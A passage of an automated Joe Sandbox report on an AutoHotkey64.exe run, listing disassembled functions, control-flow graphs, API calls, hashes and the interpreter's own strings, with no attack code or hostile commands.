                                                              • Opcode ID: 72840c0f2ee05c9b1f862403bb47dff1063c2e97125f2aff930ffc60fcf7fa4f
                                                              • Instruction ID: 24915e189fdb33fec5283ab8ee4801018f4c40e8dac8f76fe41493a74b65db06
                                                              • Opcode Fuzzy Hash: 72840c0f2ee05c9b1f862403bb47dff1063c2e97125f2aff930ffc60fcf7fa4f
                                                              • Instruction Fuzzy Hash: 5442BB72214B8086EB26CF36D5847EA37A5F74CBC8F058216EB5E977A9EB34C591C340
                                                              Function 00000001400DC058 Relevance: 4.5, APIs: 3, Instructions: 20memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: Heap$CreateInformationVersion
                                                              • String ID:
                                                              • API String ID: 3563531100-0
                                                              • Opcode ID: 41579d430a96526f0b0ce984a5f8c3bc627f9b8fc47ca51f1942b95212c4a718
                                                              • Instruction ID: b4bcc8232b3e73c3ec718ff6e1e0c4e2eb749b39eab796e8d39494967783a1ee
                                                              • Opcode Fuzzy Hash: 41579d430a96526f0b0ce984a5f8c3bc627f9b8fc47ca51f1942b95212c4a718
                                                              • Instruction Fuzzy Hash: 34E0927432278482FB8A5B12A845BD92250FB9C7C0F841818FB0A537B4DE3CC44A8700
                                                              Function 0000000140005AE0 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 289COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 2134 140005ae0-140005b0e FindResourceExW 2135 140005b1a-140005b39 2134->2135 2136 140005b10-140005b17 2134->2136 2137 140005e0c-140005e32 call 140006370 2135->2137 2138 140005b3f-140005b44 2135->2138 2136->2135 2144 140005f93 2137->2144 2145 140005e38-140005e6f call 1400da5c4 2137->2145 2140 140005b50-140005b6c call 1400d6a8c 2138->2140 2146 140005b72-140005b83 call 1400d6a8c 2140->2146 2147 140005de9 2140->2147 2149 140005f95 2144->2149 2155 140005e71-140005e91 call 1400d6a8c 2145->2155 2156 140005ea5-140005eb8 2145->2156 2146->2147 2158 140005b89-140005b9a call 1400d6a8c 2146->2158 2153 140005df0-140005dfe 2147->2153 2152 140005f9d-140005fc2 2149->2152 2153->2140 2157 140005e04 2153->2157 2168 140005e93-140005e96 2155->2168 2169 140005e98 2155->2169 2160 140005ef5 2156->2160 2161 140005eba-140005ebf 2156->2161 2157->2137 2172 140005de0-140005de7 2158->2172 2173 140005ba0-140005bb1 call 1400d6a8c 2158->2173 2163 140005ef7-140005f28 call 14003c140 2160->2163 2161->2160 2165 140005ec1-140005ee1 call 1400d6a8c 2161->2165 2180 140005f2b-140005f36 2163->2180 2178 140005ee3-140005ee6 2165->2178 2179 140005ee8 2165->2179 2177 140005ea1-140005ea3 2168->2177 2175 140005f72-140005f7d 2169->2175 2176 140005e9e 2169->2176 2172->2153 2173->2172 2187 140005bb7-140005bce call 1400d7260 2173->2187 2175->2180 2181 140005f7f-140005f8e 2175->2181 2176->2177 2177->2155 2177->2156 2183 140005ef1-140005ef3 2178->2183 2179->2175 2184 140005eee 2179->2184 2180->2144 2186 140005f38-140005f54 call 1400b0da0 2180->2186 2181->2163 2183->2160 2183->2165 2184->2183 2186->2144 2192 140005f56-140005f6b call 1400bd9d0 call 140028d30 2186->2192 2193 140005bf5-140005c06 call 1400d6a8c 2187->2193 2194 140005bd0-140005bd9 2187->2194 2204 140005f70 2192->2204 2205 140005c08-140005c0b 2193->2205 2206 140005c10-140005c13 2193->2206 2198 140005bdb 2194->2198 2199 140005bde-140005bf0 call 140028110 2194->2199 2198->2199 2199->2153 2204->2149 2205->2153 2206->2137 2207 140005c19-140005c2a call 1400d6a8c 2206->2207 2210 140005c64-140005c75 call 1400d6a8c 2207->2210 2211 140005c2c-140005c3a 2207->2211 2217 140005d03-140005d1a call 1400d7260 2210->2217 2218 140005c7b-140005c89 2210->2218 2212 140005cfc-140005cfe 2211->2212 2213 140005c40-140005c47 2211->2213 2212->2152 2213->2212 2215 140005c4d-140005c5f 2213->2215 2215->2153 2224 140005d1c-140005d2b call 1400057f0 2217->2224 2225 140005d30-140005d47 call 1400d7260 2217->2225 2218->2212 2219 140005c8b-140005c96 call 1400d7728 2218->2219 2227 140005ca5 2219->2227 2228 140005c98-140005ca3 call 1400058e0 2219->2228 2224->2153 2235 140005e06-140005e09 2225->2235 2236 140005d4d-140005d54 2225->2236 2233 140005ca8-140005cdc 2227->2233 2228->2233 2233->2212 2242 140005cde-140005cf6 call 1400b6b50 2233->2242 2235->2137 2237 140005d56-140005d5a 2236->2237 2238 140005d60-140005d64 2236->2238 2237->2235 2237->2238 2240 140005d66-140005d87 call 1400d77cc 2238->2240 2241 140005db8-140005dc6 call 140006820 2238->2241 2250 140005d89-140005dab call 1400b65c0 * 2 2240->2250 2251 140005dad-140005db6 call 1400b65c0 2240->2251 2246 140005dcb-140005dde call 140006820 2241->2246 2242->2153 2242->2212 2246->2153 2250->2153 2251->2246
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: FindResource_errno_invalid_parameter_noinfowcsncpy
                                                              • String ID: *#1$/CP$/Debug$/ErrorStdOut$/force$/iLib$/include$/restart$/script$9000$=$A_Args$localhost
                                                              • API String ID: 2945227679-1244199565
                                                              • Opcode ID: cfa2137e05a774ab5083aec045f1c56c92454e58b948e995bf64a3c2b1ade066
                                                              • Instruction ID: 13101745e00770262a823dd2842bc2129fa1bf4cddbf1b0c85f7dedb0e19a925
                                                              • Opcode Fuzzy Hash: cfa2137e05a774ab5083aec045f1c56c92454e58b948e995bf64a3c2b1ade066
                                                              • Instruction Fuzzy Hash: 94D17EB1205B8585FA26EF27F8443EA6360BB4DBC5F884026EF4A572F6EB78C505C710
                                                              Function 0000000140028D30 Relevance: 26.5, APIs: 6, Strings: 9, Instructions: 247COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 2259 140028d30-140028d70 call 1400e0af0 GetModuleFileNameW 2262 140028d72-140028d79 2259->2262 2263 140028ddf-140028e0c 2259->2263 2266 140028d7b-140028d88 2262->2266 2267 140028d89-140028d9f call 1400b5ff0 2262->2267 2264 140028e12-140028e28 call 1400d77cc 2263->2264 2265 140028f66-140028f6c 2263->2265 2277 140029105-140029107 2264->2277 2278 140028e2e-140028e40 call 1400d77cc 2264->2278 2269 140028fb3 2265->2269 2270 140028f6e-140028f74 2265->2270 2267->2266 2279 140028da1-140028db5 call 1400d77cc 2267->2279 2276 140028fba-140028fc4 2269->2276 2273 140028f76-140028f9e 2270->2273 2274 140028fa0-140028fb1 2270->2274 2273->2276 2274->2276 2280 140029005-14002900c 2276->2280 2281 140028fc6-140028fcd 2276->2281 2285 14002916b-140029196 2277->2285 2278->2277 2295 140028e46-140028e61 2278->2295 2279->2263 2297 140028db7-140028ddd call 1400b5ff0 2279->2297 2282 140029021-140029029 2280->2282 2283 14002900e-14002901c call 1400ba580 2280->2283 2281->2280 2287 140028fcf-140028ff2 GetFullPathNameW 2281->2287 2289 140029093-14002909d 2282->2289 2290 14002902b-140029056 call 1400b60b0 2282->2290 2283->2282 2287->2277 2293 140028ff8-140028fff 2287->2293 2289->2277 2296 14002909f-1400290b6 call 1400d77cc 2289->2296 2304 140029077-14002907a 2290->2304 2305 140029058-140029075 call 14004e5e0 2290->2305 2293->2277 2293->2280 2295->2277 2301 140028e67-140028e6e 2295->2301 2307 1400290b8-1400290de call 1400b5ff0 2296->2307 2308 1400290e6 2296->2308 2297->2263 2297->2266 2306 140028e71-140028e80 2301->2306 2310 14002907c-140029089 call 1400d7a40 2304->2310 2311 14002908e 2304->2311 2305->2289 2306->2306 2312 140028e82-140028e99 GetFileAttributesW 2306->2312 2307->2277 2321 1400290e0-1400290e4 2307->2321 2314 1400290ed-140029103 call 1400b5ff0 2308->2314 2310->2311 2311->2289 2312->2265 2317 140028e9f-140028ece call 140076ad0 2312->2317 2314->2277 2325 140029109-14002911b 2314->2325 2317->2285 2324 140028ed4-140028edb 2317->2324 2321->2314 2326 140028ee0-140028eef 2324->2326 2327 14002914a-140029168 call 1400b5ff0 2325->2327 2328 14002911d-140029145 call 1400b9390 2325->2328 2326->2326 2329 140028ef1-140028eff GetFileAttributesW 2326->2329 2327->2285 2328->2327 2329->2265 2333 140028f01-140028f1e SetCurrentDirectoryW GetFileAttributesW 2329->2333 2333->2265 2334 140028f20-140028f60 call 14004fa70 2333->2334 2334->2265 2334->2277
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: File$Attributes$Name$CurrentDirectoryFullModulePath
                                                              • String ID: - %s$"ms-its:AutoHotkey.chm::/docs/Welcome.htm"$*#1$.ahk$AutoHotkey v1.1.37.02$AutoHotkey.chm$Max$Out of memory.$hh.exe
                                                              • API String ID: 3122333731-2078679760
                                                              • Opcode ID: 7ea2de23fba26ae11aeec932cd3b7a3294cf616509acf38ff609ba54d4fd6aed
                                                              • Instruction ID: 21e7455568d2a7fc857e7806cc1e0bb36ceea1839e164aa03855e8ef2b9faaee
                                                              • Opcode Fuzzy Hash: 7ea2de23fba26ae11aeec932cd3b7a3294cf616509acf38ff609ba54d4fd6aed
                                                              • Instruction Fuzzy Hash: C5B1D135201B8596EB72DF26E4553DA33A4F7487D8F844229FB6D476E8EB79CA44C300
                                                              Function 00000001400BB4B0 Relevance: 19.7, APIs: 13, Instructions: 164windowlibraryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 3035 1400bb4b0-1400bb4db 3036 1400bb4ee 3035->3036 3037 1400bb4dd-1400bb4ec LoadLibraryExW 3035->3037 3038 1400bb4f5-1400bb4f8 3036->3038 3037->3038 3039 1400bb6be-1400bb6c1 3038->3039 3040 1400bb4fe-1400bb510 3038->3040 3041 1400bb6ca-1400bb6ce 3039->3041 3042 1400bb6c3-1400bb6c8 3039->3042 3043 1400bb51e-1400bb551 EnumResourceNamesW 3040->3043 3044 1400bb512-1400bb51c 3040->3044 3045 1400bb6d2-1400bb6da ExtractIconW 3041->3045 3042->3045 3046 1400bb556-1400bb559 3043->3046 3044->3046 3047 1400bb6e0-1400bb6f9 3045->3047 3048 1400bb55f-1400bb571 FindResourceW 3046->3048 3049 1400bb687-1400bb69a 3046->3049 3048->3049 3050 1400bb577-1400bb586 LoadResource 3048->3050 3051 1400bb69c-1400bb69f 3049->3051 3052 1400bb6a6-1400bb6a9 3049->3052 3050->3049 3053 1400bb58c-1400bb59b LockResource 3050->3053 3051->3052 3054 1400bb6a1-1400bb6a4 3051->3054 3055 1400bb6ab-1400bb6ae FreeLibrary 3052->3055 3056 1400bb6b4-1400bb6b7 3052->3056 3053->3049 3058 1400bb5a1-1400bb5aa 3053->3058 3054->3056 3055->3056 3056->3039 3057 1400bb6b9-1400bb6bc 3056->3057 3057->3047 3059 1400bb5ac-1400bb5b5 GetSystemMetrics 3058->3059 3060 1400bb5b7-1400bb5c7 3058->3060 3059->3060 3060->3049 3061 1400bb5cd-1400bb5d8 3060->3061 3062 1400bb5e0-1400bb5ee 3061->3062 3063 1400bb5f0-1400bb5f6 3062->3063 3064 1400bb5f8-1400bb5fa 3062->3064 3065 1400bb5fd-1400bb5ff 3063->3065 3064->3065 3066 1400bb601-1400bb604 3065->3066 3067 1400bb607-1400bb612 3065->3067 3066->3067 3067->3062 3068 1400bb614-1400bb617 3067->3068 3068->3049 3069 1400bb619-1400bb631 FindResourceW 3068->3069 3069->3049 3070 1400bb633-1400bb642 LoadResource 3069->3070 3070->3049 3071 1400bb644-1400bb653 LockResource 3070->3071 3071->3049 3072 1400bb655-1400bb684 SizeofResource CreateIconFromResourceEx 3071->3072 3072->3049
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: Resource$Load$FindIconLock$CreateEnumExtractFromLibraryMetricsNamesSizeofSystem
                                                              • String ID:
                                                              • API String ID: 1568753105-0
                                                              • Opcode ID: ab7e1b83a398312120dd3007bb18900c528e2fec53cf4ea310fbe800d969304f
                                                              • Instruction ID: cb6f06e9a1a854891161d3e98958ed74d51f725aff5dbed1655aa630e05d9486
                                                              • Opcode Fuzzy Hash: ab7e1b83a398312120dd3007bb18900c528e2fec53cf4ea310fbe800d969304f
                                                              • Instruction Fuzzy Hash: 5F518071302F9086EE6A8F57A8107A963A0FB4CBD4F484429EF4A57BA4EB7DCD05C740
                                                              Function 000000014004482B Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 272windowclipboardCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 3073 14004482b-140044832 3074 1400448d8-1400448f9 call 1400b9150 3073->3074 3075 140044838-140044857 call 14002fef0 3073->3075 3080 140044970-140044983 3074->3080 3081 1400448fb-14004490b call 140014c50 3074->3081 3075->3074 3082 140044859-140044864 3075->3082 3083 140044985-14004498a 3080->3083 3084 140044991 3080->3084 3095 14004490d-140044922 call 1400d6a8c 3081->3095 3096 14004494b 3081->3096 3086 140044866-14004486d 3082->3086 3087 140044872-14004487c 3082->3087 3083->3084 3088 14004498c-14004498f 3083->3088 3089 140044993-140044997 3084->3089 3091 1400463b3 3086->3091 3092 1400448a2-1400448ac 3087->3092 3093 14004487e-14004488a 3087->3093 3088->3089 3094 14004499b-1400449aa call 14002fa80 3089->3094 3097 1400463b8 3091->3097 3092->3074 3099 1400448ae-1400448b8 3092->3099 3093->3092 3098 14004488c-14004489d 3093->3098 3094->3091 3113 1400463e4-1400463e6 3094->3113 3114 140044938-140044946 3095->3114 3115 140044924-140044933 call 14002fd60 3095->3115 3096->3080 3104 14004494d-140044950 3096->3104 3102 1400463c0-1400463cc 3097->3102 3103 1400463bb call 14004e250 3097->3103 3098->3097 3105 1400448c2-1400448d3 3099->3105 3106 1400448ba-1400448c0 3099->3106 3111 1400463d2-1400463d7 3102->3111 3112 1400467c3-1400467f0 3102->3112 3103->3102 3104->3080 3110 140044952-14004496e 3104->3110 3105->3097 3106->3074 3106->3105 3110->3094 3116 1400463ea-1400463f1 3111->3116 3113->3116 3114->3091 3115->3113 3116->3112 3119 1400463f7-140046405 3116->3119 3120 14004641e-140046421 3119->3120 3121 140046427-14004642e 3120->3121 3122 1400467c1 3120->3122 3124 1400401c9-1400401d1 3121->3124 3125 1400401fa-140040217 GetTickCount 3121->3125 3122->3112 3126 1400401e7-1400401f3 CloseClipboard 3124->3126 3127 1400401d3-1400401e0 GlobalUnlock 3124->3127 3128 140040250-14004025c 3125->3128 3129 140040219-140040236 PeekMessageW 3125->3129 3126->3125 3127->3126 3132 140040297-1400402a5 3128->3132 3133 14004025e-140040266 3128->3133 3130 140040238-14004023d call 140001b60 3129->3130 3131 140040242-14004024a GetTickCount 3129->3131 3130->3131 3131->3128 3136 1400402a7-1400402aa 3132->3136 3137 1400402ac-1400402b3 3132->3137 3133->3132 3135 140040268-140040271 3133->3135 3135->3132 3140 140040273-140040279 3135->3140 3136->3137 3141 1400402bf-1400402cb call 140001b60 3136->3141 3138 1400402b5-1400402bd 3137->3138 3139 1400402d2-1400402dd 3137->3139 3138->3139 3138->3141 3143 1400402df 3139->3143 3144 1400402fc-14004030a 3139->3144 3145 140040290-140040293 3140->3145 3146 14004027b-14004028e 3140->3146 3141->3139 3148 1400402e0-1400402f3 call 140001b60 3143->3148 3149 14004035b-140040363 3144->3149 3150 14004030c-140040354 GetTickCount 3144->3150 3145->3132 3146->3132 3161 1400402f5 3148->3161 3152 140040365-140040368 3149->3152 3153 140040379-140040384 3149->3153 3150->3149 3152->3153 3157 14004036a-140040372 call 1400082a0 3152->3157 3154 140040386-140040388 3153->3154 3155 1400403bd-1400403c8 3153->3155 3154->3155 3158 14004038a-14004038c 3154->3158 3159 1400403ce-1400403d2 3155->3159 3160 140040580-140040593 3155->3160 3157->3153 3158->3155 3164 14004038e-1400403ab call 140096c00 3158->3164 3159->3160 3165 1400403d8-1400403ed call 140046cc0 3159->3165 3166 1400418bd-1400418ea 3160->3166 3167 140040599-1400405ac 3160->3167 3161->3144 3164->3112 3177 1400403b1-1400403b8 3164->3177 3178 1400403f3-1400403ff 3165->3178 3179 1400404ca-1400404dc 3165->3179 3168 1400467b6-1400467b8 3166->3168 3169 1400418f0-1400418fa 3166->3169 3172 140041843-14004184c 3167->3172 3168->3112 3176 140046407-14004640f 3169->3176 3175 140046419 3172->3175 3175->3120 3185 140046411-140046416 3176->3185 3186 14004644d-140046459 3176->3186 3177->3155 3181 140040401 3178->3181 3182 140040443-140040465 call 140040110 3178->3182 3183 1400404e2-1400404e9 3179->3183 3184 14004056e-140040575 3179->3184 3189 140040410-14004043f call 140040110 3181->3189 3200 14004046a-14004046d 3182->3200 3190 140040523-140040545 call 140040110 3183->3190 3191 1400404eb 3183->3191 3184->3122 3188 14004057b 3184->3188 3185->3175 3186->3112 3188->3120 3201 140040441 3189->3201 3204 14004054a-140040551 3190->3204 3193 1400404f0-14004051f call 140040110 3191->3193 3205 140040521 3193->3205 3200->3120 3203 140040473-14004047a 3200->3203 3201->3200 3206 14004643f-140046448 3203->3206 3207 140040480-140040483 3203->3207 3208 140040557-14004055a 3204->3208 3209 140046433-14004643a 3204->3209 3205->3204 3206->3112 3207->3206 3210 140040489-14004048c 3207->3210 3208->3209 3211 140040560-140040563 3208->3211 3209->3122 3212 14004048e-140040496 3210->3212 3213 1400404a9-1400404b6 3210->3213 3211->3172 3214 140040569 3211->3214 3212->3209 3215 14004049c-1400404a4 3212->3215 3213->3120 3216 1400404bc-1400404c5 3213->3216 3214->3176 3215->3120 3216->3120
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID: Delete$Parameter #1 invalid.$Parameter #1 must not be blank in this case.$Parameter #2 invalid.$Target label does not exist.
                                                              • API String ID: 1623861271-14243736
                                                              • Opcode ID: c69fcf74374cdc524cf63b674dc8595e20d22b81230af824399c2f21feb8b7fe
                                                              • Instruction ID: 994b5adb36fccdf2bfa5b809f736dcc2ff0e8f7813bc3a74f3dba73a9e116c85
                                                              • Opcode Fuzzy Hash: c69fcf74374cdc524cf63b674dc8595e20d22b81230af824399c2f21feb8b7fe
                                                              • Instruction Fuzzy Hash: 4ED1A1B1604A8485FB62CB27E4543E937A1F38CBD4F52012AEB59A36F6DB78C880C744
                                                              Function 0000000140002A35 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 222threadwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: Window$ClassCountCurrentDialogDirectoryDragFinishForegroundMessageNameProcessThreadTick
                                                              • String ID: #32770$uQz5
                                                              • API String ID: 1508145071-580809758
                                                              • Opcode ID: 30565075c1bc4f972223c8f8dfdc205ca8475fd106f869f557a1c964af213144
                                                              • Instruction ID: e4e30cd2fb0eb55fbf1d253e54673623406df704291c20216c9637332458a405
                                                              • Opcode Fuzzy Hash: 30565075c1bc4f972223c8f8dfdc205ca8475fd106f869f557a1c964af213144
                                                              • Instruction Fuzzy Hash: 40B148B6204B8486FB66CF27A8403E937A1F78DBD4F544116EB4A17BB4EB38D891C700
                                                              Function 00000001400DA708 Relevance: 18.1, APIs: 12, Instructions: 93COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: _amsg_exit$CommandInfoInitializeLineStartup__wsetargv_cinit_wwincmdln
                                                              • String ID:
                                                              • API String ID: 697445056-0
                                                              • Opcode ID: a9ea5aacdac3bba23c1adccee13ee10df6a06d32d02c0686e25a2f6c278f1120
                                                              • Instruction ID: b429a3edc3aabe2a50d4530568285da882bfaac9e324fec7ec5be69155eb097c
                                                              • Opcode Fuzzy Hash: a9ea5aacdac3bba23c1adccee13ee10df6a06d32d02c0686e25a2f6c278f1120
                                                              • Instruction Fuzzy Hash: B8414D3160474286FB67AB63A9517ED21A5AF8D7C4F444038BB09472F7EF38C8429A71
                                                              Function 0000000140041188 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 358clipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
